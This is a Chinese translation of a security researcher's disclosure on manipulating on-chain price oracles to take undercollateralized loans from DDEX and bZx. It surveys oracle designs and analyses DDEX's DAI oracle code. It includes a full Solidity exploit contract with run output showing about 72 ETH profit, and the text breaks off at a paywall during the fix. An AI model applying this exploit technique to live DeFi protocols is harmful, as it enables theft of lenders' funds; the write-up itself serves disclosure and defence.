通过操控抵押品价格预言机牟利

编者注:价格操纵攻击已经几乎无处不在,本文中,介绍了使用 DEX 交易所作为价格预言机有被操控的风险,最难得的难得的是:作者详细介绍了数个案例攻击原理、攻击Demo 演示(文末包含全部代码)、已经应对的解决方案。 推荐DEFI 开发者阅读。

> * 来源:https://samczsun.com/taking-undercollateralized-loans-for-fun-and-for-profit/ 作者:[SAMCZSUN](https://samczsun.com/author/samczsun/) > * 译文出自:[登链翻译计划](https://github.com/lbc-team/Pioneer) > * 译者:[翻译小组](https://learnblockchain.cn/people/412) > * 校对:[Tiny 熊](https://learnblockchain.cn/people/15) > * 本文永久链接:[learnblockchain.cn/article…](https://learnblockchain.cn/article/1915) ## 太长不看版 因依赖链上去中心化的价格预言而不验证返回的价格,[DDEX](https://margin.ddex.io)和[bZx](https://bzx.network)容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。 ## 什么是去中心化贷款? 首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。 在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。 为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊): 1. 链下中心化预言机 这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA(外部账户),而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。 [ Compound ](https://compound.finance)和[Synthetix](https://www.synthetix.io/)的大多数资产使用这种类型的预言机。 2. 链下去中心化预言机 这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。 [Maker](https://makerdao.com/feeds/)针对ETH和其他资产使用这种类型的预言机。 3. 链上中心化预言机 这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。 [dYdX](https://dydx.exchange)和[Nuo](https://nuo.network)针对一些资产使用这种类型的预言机。 4. 链上去中心化预言机 这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。 [DDEX](https://margin.ddex.io)将这种类型的预言机用于DAI,而[bZx](https://bzx.network)对所有资产使用这种类型的预言机。 5. 常量预言机 这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC 钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。 ## 问题 在寻找其他易受攻击的项目时,我看到了这条推文: > 老实说,我担心他们会将其(Uniswap)用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。 > — Vitalik 非以太赠予者(@VitalikButerin) [2019年2月20日](https://twitter.com/VitalikButerin/status/1098168793178820609?ref_src=twsrc%5Etfw) 有人询问为什么,Uniswap项目以下回应: ![image-20201221093632496](https://img.learnblockchain.cn/pics/20201221093640.png) > 推文翻译如下: > > 为什么使用Uniswap价格源容易受到攻击? 您的意思是操纵uniswap价格以触发清算吗?大多数金融衍生品市场,包括加密衍生品市场,其基础现货市场相比流动性数量级相形见绌。 > > Uniswap 回复:由于可以进行大量交易,因此用函数检查价格预言,然后使用智能合约同步执行另一项巨大交易。 这意味着攻击者只会损失手续费用,而无法被起诉。 我们正致力于将来将Uniswap提升为Oracle。 > > (译者注:tweet 的时间是 2019 年 2 月,但是具有时间加权功能的价格预言机功能的 Uniswap 还没有发布。) 这些推文非常清楚地说明了该问题,但需要注意的是,对于任何可以在链上提供FMV的预言机,而不仅仅是Uniswap,都存在此问题。 通常,如果价格预言机是完全去中心化的,则攻击者可以在特定瞬间操纵价格表现,而价格滑点的损失则很小甚至没有。如果攻击者随后能够在价格受到操纵的瞬间通知DeFi dApp检查预言机,则它们可能会对系统造成重大损害。在DDEX和bZx的情况下,有可能借出一笔看上去足够抵押的贷款,但实际上抵押不足。 ## DDEX(Hydro协议) DDEX是一个去中心化的交易平台,但是正在扩展到去中心化的借贷中,以便他们可以为用户提供创建杠杆多头和空头头寸的能力。他们目前正在对去中心化杠杆保证金交易进行Beta测试。 在2019年9月9日,DDEX将DAI作为资产添加到其保证金交易平台中,并启用了ETH/DAI市场。对于预言机,他们通过[这个合约](https://cn.etherscan.com/address/0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8)通过`PriceOfETHInUSD/PriceOfETHInDAI`计算返回DAI/USD的价格。ETH/USD的价格从Maker 预言机中读取,而ETH/DAI的价格从Eth2Dai中读取,或者如果价差太大,则从Uniswap读取。 ```javascript function peek() public view returns (uint256 _price) { uint256 makerDaoPrice = getMakerDaoPrice(); if (makerDaoPrice == 0) { return _price; } uint256 eth2daiPrice = getEth2DaiPrice(); if (eth2daiPrice > 0) { _price = makerDaoPrice.mul(ONE).div(eth2daiPrice); return _price; } uint256 uniswapPrice = getUniswapPrice(); if (uniswapPrice > 0) { _price = makerDaoPrice.mul(ONE).div(uniswapPrice); return _price; } return _price; } function getEth2DaiPrice() public view returns (uint256) { if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) { return 0; } uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount); uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount); uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount); uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount); uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE); if (spread > eth2daiMaxSpread) { return 0; } else { return bidPrice.add(askPrice).div(2); } } function getUniswapPrice() public view returns (uint256) { uint256 ethAmount = UNISWAP.balance; uint256 daiAmount = DAI.balanceOf(UNISWAP); uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount); if (ethAmount < uniswapMinETHAmount) { return 0; } else { return uniswapPrice; } } function getMakerDaoPrice() public view returns (uint256) { (bytes32 value, bool has) = makerDaoOracle.peek(); if (has) { return uint256(value); } else { return 0; } } ``` > 参考[源码](https://github.com/HydroProtocol/protocol/blob/244b01ad323a7d0796ae2eda3b7b455a361dd376/contracts/oracle/DaiPriceOracle.sol#L89-L155) 为了触发更新并使预言机刷新其存储的值,用户只需调用` updatePrice()`即可。 ```javascript function updatePrice() public returns (bool) { uint256 _price = peek(); if (_price != 0) { price = _price; emit UpdatePrice(price); return true; } else { return false; } } ``` > 参考[源码](https://github.com/HydroProtocol/protocol/blob/244b01ad323a7d0796ae2eda3b7b455a361dd376/contracts/oracle/DaiPriceOracle.sol#L74-L87) ### 攻击原理 假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。 为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的(因为其采用中心化链下预言机),因此我们将尝试降低ETH/DAI的表现价值。 > 编者注,因为 DAI/USD价格 = ETH/USD价格 ÷ ETH/DAI 价格 预言机 通过 Eth2Dai取当前要价和当前出价的平均值来计算 ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。 但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。 为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作: 1. 清除订单的一侧,而保留另一侧。这导致价差正增长 2. 通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。 尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI 预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。 ### 攻击演示 以下脚本将通过以下方式获利约70 ETH: 1. 清除Eth2Dai的卖单,直到价差足够大,以致预言机拒绝价格 2. 从Uniswap购买更多DAI,价格从213DAI/ETH降至13DAI/ETH 3. 用少量DAI(〜2500)借出所有可用ETH(〜120) 4. 将我们从Uniswap购买的DAI卖回Uniswap 5. 将我们从Eth2Dai购买的DAI卖回Eth2Dai 6. 重置预言机(不想让其他人滥用我们的优惠价格) ```javascript contract DDEXExploit is Script, Constants, TokenHelper { OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2); DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8); ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E); HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7); uint16 private constant ETHDAI_MARKET_ID = 1; uint private constant INITIAL_BALANCE = 25000 ether; function setup() public { name("ddex-exploit"); blockNumber(8572000); } function run() public { begin("exploit") .withBalance(INITIAL_BALANCE) .first(this.checkRates) .then(this.skewRates) .then(this.checkRates) .then(this.steal) .then(this.cleanup) .then(this.checkProfits); } function checkRates() external { uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH); uint daiPrice = DAI_ORACLE.getPrice(DAI); printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice)); } uint private boughtFromMatchingMarket = 0; function skewRates() external { skewUniswapPrice(); skewMatchingMarket(); require(DAI_ORACLE.updatePrice()); } function skewUniswapPrice() internal { DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100); } function skewMatchingMarket() internal { uint start = DAI.balanceOf(address(this)); WETH.deposit.value(address(this).balance)(); WETH.approve(address(MATCHING_MARKET), uint(-1)); while (DAI_ORACLE.getEth2DaiPrice() != 0) { MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1)); } boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start; WETH.withdrawAll(); } function steal() external { HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID); HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({ category: HydroLike.BalanceCategory.Common, marketID: 0, user: address(this) }); HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({ category: HydroLike.BalanceCategory.CollateralAccount, marketID: 1, user: address(this) }); uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH); uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether; printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired)); HydroLike.Action[] memory actions = new HydroLike.Action[](5); actions[0] = HydroLike.Action({ actionType: HydroLike.ActionType.Deposit, encodedParams: abi.encode(address(DAI), uint(daiRequired)) }); actions[1] = HydroLike.Action({ actionType: HydroLike.ActionType.Transfer, encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired)) }); actions[2] = HydroLike.Action({ actionType: HydroLike.ActionType.Borrow, encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted)) }); actions[3] = HydroLike.Action({ actionType: HydroLike.ActionType.Transfer, encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted)) }); actions[4] = HydroLike.Action({ actionType: HydroLike.ActionType.Withdraw, encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted)) }); DAI.approve(address(HYDRO), daiRequired); HYDRO.batch(actions); } function cleanup() external { DAI.approve(address(MATCHING_MARKET), uint(-1)); MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0)); WETH.withdrawAll(); DAI.giveAllToUniswap(); require(DAI_ORACLE.updatePrice()); } function checkProfits() external { printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE)); } } /* ### running script "ddex-exploit" at block 8572000 #### executing step: exploit ##### calling: checkRates() eth=213.440000000000000000 dai=1.003140638067989051 ##### calling: skewRates() ##### calling: checkRates() eth=213.440000000000000000 dai=16.058419875880325580 ##### calling: steal() ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078 ##### calling: cleanup() ##### calling: checkProfits() profits=72.140629996890984407 #### finished executing step: exploit */ ``` ### 解决方案 DDEX团队通过部署[新的预言机](https://etherscan.io/address/0xe6f148448b61339a59ef6ab9ab7378e9200fa745)解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。 ``` function updatePrice() public returns (bool) { uint256 _price = peek(); if (_price == 0) { return false; } if (_price == price) { return true; } if (_price > maxP...

  • 来源:https://samczsun.com/taking-undercollateralized-loans-for-fun-and-for-profit/ 作者:SAMCZSUN
  • 译文出自:登链翻译计划
  • 译者:翻译小组
  • 校对:Tiny 熊
  • 本文永久链接:learnblockchain.cn/article…

太长不看版

因依赖链上去中心化的价格预言而不验证返回的价格,DDEX和bZx容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。

什么是去中心化贷款?

首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。

在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。

为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):

  1. 链下中心化预言机 这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA(外部账户),而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。 Compound 和Synthetix的大多数资产使用这种类型的预言机。

  2. 链下去中心化预言机 这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。 Maker针对ETH和其他资产使用这种类型的预言机。

  3. 链上中心化预言机 这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。 dYdX和Nuo针对一些资产使用这种类型的预言机。

  4. 链上去中心化预言机 这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。 DDEX将这种类型的预言机用于DAI,而bZx对所有资产使用这种类型的预言机。

  5. 常量预言机 这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC 钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。

问题

在寻找其他易受攻击的项目时,我看到了这条推文:

老实说,我担心他们会将其(Uniswap)用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。

— Vitalik 非以太赠予者(@VitalikButerin) 2019年2月20日

有人询问为什么,Uniswap项目以下回应:

推文翻译如下:

为什么使用Uniswap价格源容易受到攻击? 您的意思是操纵uniswap价格以触发清算吗?大多数金融衍生品市场,包括加密衍生品市场,其基础现货市场相比流动性数量级相形见绌。

Uniswap 回复:由于可以进行大量交易,因此用函数检查价格预言,然后使用智能合约同步执行另一项巨大交易。 这意味着攻击者只会损失手续费用,而无法被起诉。 我们正致力于将来将Uniswap提升为Oracle。

(译者注:tweet 的时间是 2019 年 2 月,但是具有时间加权功能的价格预言机功能的 Uniswap 还没有发布。)

这些推文非常清楚地说明了该问题,但需要注意的是,对于任何可以在链上提供FMV的预言机,而不仅仅是Uniswap,都存在此问题。

通常,如果价格预言机是完全去中心化的,则攻击者可以在特定瞬间操纵价格表现,而价格滑点的损失则很小甚至没有。如果攻击者随后能够在价格受到操纵的瞬间通知DeFi dApp检查预言机,则它们可能会对系统造成重大损害。在DDEX和bZx的情况下,有可能借出一笔看上去足够抵押的贷款,但实际上抵押不足。

DDEX(Hydro协议)

DDEX是一个去中心化的交易平台,但是正在扩展到去中心化的借贷中,以便他们可以为用户提供创建杠杆多头和空头头寸的能力。他们目前正在对去中心化杠杆保证金交易进行Beta测试。

在2019年9月9日,DDEX将DAI作为资产添加到其保证金交易平台中,并启用了ETH/DAI市场。对于预言机,他们通过这个合约通过PriceOfETHInUSD/PriceOfETHInDAI计算返回DAI/USD的价格。ETH/USD的价格从Maker 预言机中读取,而ETH/DAI的价格从Eth2Dai中读取,或者如果价差太大,则从Uniswap读取。

function peek()
    public
    view
    returns (uint256 _price)
{
    uint256 makerDaoPrice = getMakerDaoPrice();

    if (makerDaoPrice == 0) {
        return _price;
    }

    uint256 eth2daiPrice = getEth2DaiPrice();

    if (eth2daiPrice > 0) {
        _price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
        return _price;
    }

    uint256 uniswapPrice = getUniswapPrice();

    if (uniswapPrice > 0) {
        _price = makerDaoPrice.mul(ONE).div(uniswapPrice);
        return _price;
    }

    return _price;
}

function getEth2DaiPrice()
    public
    view
    returns (uint256)
{
    if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
        return 0;
    }

    uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
    uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);

    uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
    uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);

    uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);

    if (spread > eth2daiMaxSpread) {
        return 0;
    } else {
        return bidPrice.add(askPrice).div(2);
    }
}

function getUniswapPrice()
    public
    view
    returns (uint256)
{
    uint256 ethAmount = UNISWAP.balance;
    uint256 daiAmount = DAI.balanceOf(UNISWAP);
    uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);

    if (ethAmount &lt; uniswapMinETHAmount) {
        return 0;
    } else {
        return uniswapPrice;
    }
}

function getMakerDaoPrice()
    public
    view
    returns (uint256)
{
    (bytes32 value, bool has) = makerDaoOracle.peek();

    if (has) {
        return uint256(value);
    } else {
        return 0;
    }
}

参考源码

为了触发更新并使预言机刷新其存储的值,用户只需调用updatePrice()即可。

function updatePrice()
    public
    returns (bool)
{
    uint256 _price = peek();

    if (_price != 0) {
        price = _price;
        emit UpdatePrice(price);
        return true;
    } else {
        return false;
    }
}

参考源码

攻击原理

假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。

为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的(因为其采用中心化链下预言机),因此我们将尝试降低ETH/DAI的表现价值。

编者注,因为 DAI/USD价格 = ETH/USD价格 ÷ ETH/DAI 价格

预言机 通过 Eth2Dai取当前要价和当前出价的平均值来计算 ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。

但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。

为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:

  1. 清除订单的一侧,而保留另一侧。这导致价差正增长
  2. 通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。

尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI 预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。

攻击演示

以下脚本将通过以下方式获利约70 ETH:

  1. 清除Eth2Dai的卖单,直到价差足够大,以致预言机拒绝价格
  2. 从Uniswap购买更多DAI,价格从213DAI/ETH降至13DAI/ETH
  3. 用少量DAI(〜2500)借出所有可用ETH(〜120)
  4. 将我们从Uniswap购买的DAI卖回Uniswap
  5. 将我们从Eth2Dai购买的DAI卖回Eth2Dai
  6. 重置预言机(不想让其他人滥用我们的优惠价格)
contract DDEXExploit is Script, Constants, TokenHelper {
    OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
    DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);

    ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
    HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);

    uint16 private constant ETHDAI_MARKET_ID = 1;

    uint private constant INITIAL_BALANCE = 25000 ether;

    function setup() public {
        name("ddex-exploit");
        blockNumber(8572000);
    }

    function run() public {
        begin("exploit")
            .withBalance(INITIAL_BALANCE)
            .first(this.checkRates)
            .then(this.skewRates)
            .then(this.checkRates)
            .then(this.steal)
            .then(this.cleanup)
            .then(this.checkProfits);
    }

    function checkRates() external {
        uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
        uint daiPrice = DAI_ORACLE.getPrice(DAI);

        printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
    }

    uint private boughtFromMatchingMarket = 0;

    function skewRates() external {
        skewUniswapPrice();
        skewMatchingMarket();
        require(DAI_ORACLE.updatePrice());
    }

    function skewUniswapPrice() internal {
        DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
    }

    function skewMatchingMarket() internal {
        uint start = DAI.balanceOf(address(this));
        WETH.deposit.value(address(this).balance)();
        WETH.approve(address(MATCHING_MARKET), uint(-1));
        while (DAI_ORACLE.getEth2DaiPrice() != 0) {
            MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
        }
        boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
        WETH.withdrawAll();
    }

    function steal() external {
        HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
        HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.Common,
            marketID: 0,
            user: address(this)
        });
        HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.CollateralAccount,
            marketID: 1,
            user: address(this)
        });

        uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
        uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;

        printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));

        HydroLike.Action[] memory actions = new HydroLike.Action[](5);
        actions[0] = HydroLike.Action({
            actionType: HydroLike.ActionType.Deposit,
            encodedParams: abi.encode(address(DAI), uint(daiRequired))
        });
        actions[1] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
        });
        actions[2] = HydroLike.Action({
            actionType: HydroLike.ActionType.Borrow,
            encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
        });
        actions[3] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
        });
        actions[4] = HydroLike.Action({
            actionType: HydroLike.ActionType.Withdraw,
            encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
        });
        DAI.approve(address(HYDRO), daiRequired);
        HYDRO.batch(actions);
    }

    function cleanup() external {
        DAI.approve(address(MATCHING_MARKET), uint(-1));
        MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
        WETH.withdrawAll();

        DAI.giveAllToUniswap();
        require(DAI_ORACLE.updatePrice());
    }

    function checkProfits() external {
        printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
    }
}

/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/

解决方案

DDEX团队通过部署新的预言机解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。


function updatePrice()
    public
    returns (bool)
{
    uint256 _price = peek();

    if (_price == 0) {
        return false;
    }

    if (_price == price) {
        return true;
    }

    if (_price > maxP...

剩余50%的内容购买后可查看

  • 单篇购买 25学分
  • 发表于 2020-12-21 15:16
  • 阅读 ( 1266 )
  • 学分 ( 686 )
  • 分类:DeFi

评论